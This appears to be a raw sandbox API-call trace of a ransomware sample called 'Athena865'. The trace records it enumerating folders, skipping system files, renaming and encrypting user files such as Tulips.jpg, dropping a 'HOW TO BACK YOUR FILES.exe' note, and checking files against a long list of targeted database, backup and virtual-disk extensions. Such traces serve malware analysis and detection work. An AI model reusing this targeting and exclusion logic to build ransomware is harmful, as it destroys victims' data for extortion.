[0104.725] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0104.725] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.725] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbe170, lpName=0x0) returned 0x154 [0104.727] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbe170) returned 0x2d50000 [0104.757] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0104.757] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0104.757] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0104.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0104.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0104.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0104.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0104.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0104.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0104.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0104.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0104.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0104.758] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0104.764] CloseHandle (hObject=0x154) returned 1 [0104.764] CloseHandle (hObject=0x17c) returned 1 [0104.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0104.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0104.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0104.768] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 1 [0104.768] lstrcmpiW (lpString1="Tulips.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0104.768] lstrcmpiW (lpString1="Tulips.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0104.768] lstrcmpiW (lpString1="Tulips.jpg", lpString2=".") returned 1 [0104.768] lstrcmpiW (lpString1="Tulips.jpg", lpString2="..") returned 1 [0104.768] lstrcmpiW (lpString1="Tulips.jpg", lpString2="windows") returned -1 [0104.768] lstrcmpiW (lpString1="Tulips.jpg", lpString2="bootmgr") returned 1 [0104.768] lstrcmpiW (lpString1="Tulips.jpg", lpString2="temp") returned 1 [0104.768] lstrcmpiW (lpString1="Tulips.jpg", lpString2="pagefile.sys") returned 1 [0104.768] lstrcmpiW (lpString1="Tulips.jpg", lpString2="boot") returned 1 [0104.768] lstrcmpiW (lpString1="Tulips.jpg", lpString2="ids.txt") returned 1 [0104.768] lstrcmpiW (lpString1="Tulips.jpg", lpString2="ntuser.dat") returned 1 [0104.768] lstrcmpiW (lpString1="Tulips.jpg", lpString2="perflogs") returned 1 [0104.768] lstrcmpiW (lpString1="Tulips.jpg", lpString2="MSBuild") returned 1 [0104.768] lstrlenW (lpString="Tulips.jpg") returned 10 [0104.768] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Tulips.jpg" | out: lpString1="Tulips.jpg") returned="Tulips.jpg" [0104.768] lstrlenW (lpString="Tulips.jpg") returned 10 [0104.768] lstrlenW (lpString="Athena865") returned 9 [0104.768] lstrcmpiW (lpString1="ulips.jpg", lpString2="Athena865") returned 1 [0104.768] lstrlenW (lpString=".dll") returned 4 [0104.768] lstrcmpiW (lpString1="Tulips.jpg", lpString2=".dll") returned 1 [0104.768] lstrlenW (lpString=".lnk") returned 4 [0104.768] lstrcmpiW (lpString1="Tulips.jpg", lpString2=".lnk") returned 1 [0104.768] lstrlenW (lpString=".ini") returned 4 [0104.769] lstrcmpiW (lpString1="Tulips.jpg", lpString2=".ini") returned 1 [0104.769] lstrlenW (lpString=".sys") returned 4 [0104.769] lstrcmpiW (lpString1="Tulips.jpg", lpString2=".sys") returned 1 [0104.769] lstrlenW (lpString="Tulips.jpg") returned 10 [0104.769] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.Athena865") returned 78 [0104.769] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\tulips.jpg"), lpNewFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\tulips.jpg.athena865"), dwFlags=0x1) returned 1 [0104.770] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\tulips.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0104.770] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=620888) returned 1 [0104.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0104.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0104.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0104.770] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0104.771] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0104.771] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.771] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x97c60, lpName=0x0) returned 0x154 [0104.774] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x97c60) returned 0x2d50000 [0104.798] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0104.799] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0104.799] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0104.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0104.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0104.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0104.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0104.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0104.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0104.800] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0104.800] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0104.800] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0104.800] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0104.812] CloseHandle (hObject=0x154) returned 1 [0104.812] CloseHandle (hObject=0x17c) returned 1 [0104.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0104.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0104.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0104.815] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 0 [0104.815] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0104.815] ReleaseMutex (hMutex=0xec) returned 1 [0104.815] CloseHandle (hObject=0xec) returned 1 [0104.815] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media" | out: lpString1="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media") returned="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media" [0104.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5028a8 | out: hHeap=0x4f0000) returned 1 [0104.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cf78 | out: hHeap=0x4f0000) returned 1 [0104.815] lstrlenW (lpString="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media") returned 57 [0104.815] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\7CC1C89306A32E4EC58B29F5DE261005") returned 0xec [0104.815] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0104.815] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media" | out: lpString1="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media") returned="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media" [0104.815] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0104.815] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\recorded tv\\sample media\\how to back your files.exe"), bFailIfExists=1) returned 0 [0104.816] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\recorded tv\\sample media\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0104.816] GetLastError () returned 0x0 [0104.816] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0104.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54bd40 [0104.817] ReadFile (in: hFile=0xf4, lpBuffer=0x54bd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54bd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0104.817] CloseHandle (hObject=0xf4) returned 1 [0104.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0104.817] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0104.818] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc7f8e1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f8e1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0104.818] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0104.818] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0104.818] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0104.818] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc7f8e1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f8e1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.818] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0104.818] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0104.818] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0104.818] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0104.818] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0104.818] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0104.818] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0104.818] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0104.818] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0104.818] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0104.818] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0104.818] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0104.818] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0104.818] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0104.818] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0104.818] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0104.818] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0104.818] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0104.819] lstrlenW (lpString="desktop.ini") returned 11 [0104.819] lstrcpyW (in: lpString1=0x241e8bc, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0104.819] lstrlenW (lpString="desktop.ini") returned 11 [0104.819] lstrlenW (lpString="Athena865") returned 9 [0104.819] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0104.819] lstrlenW (lpString=".dll") returned 4 [0104.819] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0104.819] lstrlenW (lpString=".lnk") returned 4 [0104.819] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0104.819] lstrlenW (lpString=".ini") returned 4 [0104.819] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0104.819] lstrlenW (lpString=".sys") returned 4 [0104.819] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0104.819] lstrlenW (lpString="desktop.ini") returned 11 [0104.819] lstrlenW (lpString="bak") returned 3 [0104.819] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0104.819] lstrlenW (lpString="ba_") returned 3 [0104.819] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0104.819] lstrlenW (lpString="dbb") returned 3 [0104.819] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0104.819] lstrlenW (lpString="vmdk") returned 4 [0104.819] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0104.819] lstrlenW (lpString="rar") returned 3 [0104.819] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0104.819] lstrlenW (lpString="zip") returned 3 [0104.819] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0104.819] lstrlenW (lpString="tgz") returned 3 [0104.819] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0104.819] lstrlenW (lpString="vbox") returned 4 [0104.819] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0104.819] lstrlenW (lpString="vdi") returned 3 [0104.820] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0104.820] lstrlenW (lpString="vhd") returned 3 [0104.820] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0104.820] lstrlenW (lpString="vhdx") returned 4 [0104.820] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0104.820] lstrlenW (lpString="avhd") returned 4 [0104.820] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0104.820] lstrlenW (lpString="db") returned 2 [0104.820] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0104.820] lstrlenW (lpString="db2") returned 3 [0104.820] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0104.820] lstrlenW (lpString="db3") returned 3 [0104.820] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0104.820] lstrlenW (lpString="dbf") returned 3 [0104.820] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0104.820] lstrlenW (lpString="mdf") returned 3 [0104.820] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0104.820] lstrlenW (lpString="mdb") returned 3 [0104.820] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0104.820] lstrlenW (lpString="sql") returned 3 [0104.820] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0104.820] lstrlenW (lpString="sqlite") returned 6 [0104.820] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0104.820] lstrlenW (lpString="sqlite3") returned 7 [0104.820] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0104.820] lstrlenW (lpString="sqlitedb") returned 8 [0104.820] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0104.820] lstrlenW (lpString="xml") returned 3 [0104.820] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0104.820] lstrlenW (lpString="$er") returned 3 [0104.820] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0104.820] lstrlenW (lpString="4dd") returned 3 [0104.821] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0104.821] lstrlenW (lpString="4dl") returned 3 [0104.821] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0104.821] lstrlenW (lpString="^^^") returned 3 [0104.821] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0104.821] lstrlenW (lpString="abs") returned 3 [0104.821] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0104.821] lstrlenW (lpString="abx") returned 3 [0104.821] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0104.821] lstrlenW (lpString="accdb") returned 5 [0104.821] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0104.821] lstrlenW (lpString="accdc") returned 5 [0104.821] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0104.821] lstrlenW (lpString="accde") returned 5 [0104.821] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0104.821] lstrlenW (lpString="accdr") returned 5 [0104.821] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0104.821] lstrlenW (lpString="accdt") returned 5 [0104.821] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0104.821] lstrlenW (lpString="accdw") returned 5 [0104.821] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0104.821] lstrlenW (lpString="accft") returned 5 [0104.821] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0104.821] lstrlenW (lpString="adb") returned 3 [0104.821] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0104.821] lstrlenW (lpString="adb") returned 3 [0104.821] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0104.821] lstrlenW (lpString="ade") returned 3 [0104.821] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0104.821] lstrlenW (lpString="adf") returned 3 [0104.821] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0104.821] lstrlenW (lpString="adn") returned 3 [0104.822] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0104.822] lstrlenW (lpString="adp") returned 3 [0104.822] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0104.822] lstrlenW (lpString="alf") returned 3 [0104.822] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0104.822] lstrlenW (lpString="ask") returned 3 [0104.822] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0104.822] lstrlenW (lpString="btr") returned 3 [0104.822] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0104.822] lstrlenW (lpString="cat") returned 3 [0104.822] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0104.822] lstrlenW (lpString="cdb") returned 3 [0104.822] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0104.822] lstrlenW (lpString="ckp") returned 3 [0104.822] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0104.822] lstrlenW (lpString="cma") returned 3 [0104.822] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0104.822] lstrlenW (lpString="cpd") returned 3 [0104.822] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0104.822] lstrlenW (lpString="dacpac") returned 6 [0104.822] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0104.822] lstrlenW (lpString="dad") returned 3 [0104.822] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0104.822] lstrlenW (lpString="dadiagrams") returned 10 [0104.822] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0104.822] lstrlenW (lpString="daschema") returned 8 [0104.822] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0104.822] lstrlenW (lpString="db-journal") returned 10 [0104.822] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0104.822] lstrlenW (lpString="db-shm") returned 6 [0104.822] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0104.822] lstrlenW (lpString="db-wal") returned 6 [0104.823] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0104.823] lstrlenW (lpString="dbc") returned 3 [0104.823] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0104.823] lstrlenW (lpString="dbs") returned 3 [0104.823] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0104.823] lstrlenW (lpString="dbt") returned 3 [0104.823] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0104.823] lstrlenW (lpString="dbv") returned 3 [0104.823] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0104.823] lstrlenW (lpString="dbx") returned 3 [0104.823] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0104.823] lstrlenW (lpString="dcb") returned 3 [0104.823] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0104.823] lstrlenW (lpString="dct") returned 3 [0104.823] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0104.823] lstrlenW (lpString="dcx") returned 3 [0104.823] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0104.823] lstrlenW (lpString="ddl") returned 3 [0104.823] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0104.823] lstrlenW (lpString="dlis") returned 4 [0104.823] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0104.823] lstrlenW (lpString="dp1") returned 3 [0104.823] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0104.823] lstrlenW (lpString="dqy") returned 3 [0104.823] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0104.823] lstrlenW (lpString="dsk") returned 3 [0104.823] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0104.823] lstrlenW (lpString="dsn") returned 3 [0104.823] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0104.823] lstrlenW (lpString="dtsx") returned 4 [0104.823] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0104.823] lstrlenW (lpString="dxl") returned 3 [0104.824] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0104.824] lstrlenW (lpString="eco") returned 3 [0104.824] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0104.824] lstrlenW (lpString="ecx") returned 3 [0104.824] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0104.824] lstrlenW (lpString="edb") returned 3 [0104.824] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0104.824] lstrlenW (lpString="epim") returned 4 [0104.824] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0104.824] lstrlenW (lpString="fcd") returned 3 [0104.824] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0104.824] lstrlenW (lpString="fdb") returned 3 [0104.824] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0104.824] lstrlenW (lpString="fic") returned 3 [0104.824] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0104.824] lstrlenW (lpString="flexolibrary") returned 12 [0104.824] lstrlenW (lpString="fm5") returned 3 [0104.824] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0104.824] lstrlenW (lpString="fmp") returned 3 [0104.824] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0104.824] lstrlenW (lpString="fmp12") returned 5 [0104.824] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0104.824] lstrlenW (lpString="fmpsl") returned 5 [0104.824] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0104.824] lstrlenW (lpString="fol") returned 3 [0104.824] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0104.824] lstrlenW (lpString="fp3") returned 3 [0104.824] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0104.824] lstrlenW (lpString="fp4") returned 3 [0104.824] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0104.824] lstrlenW 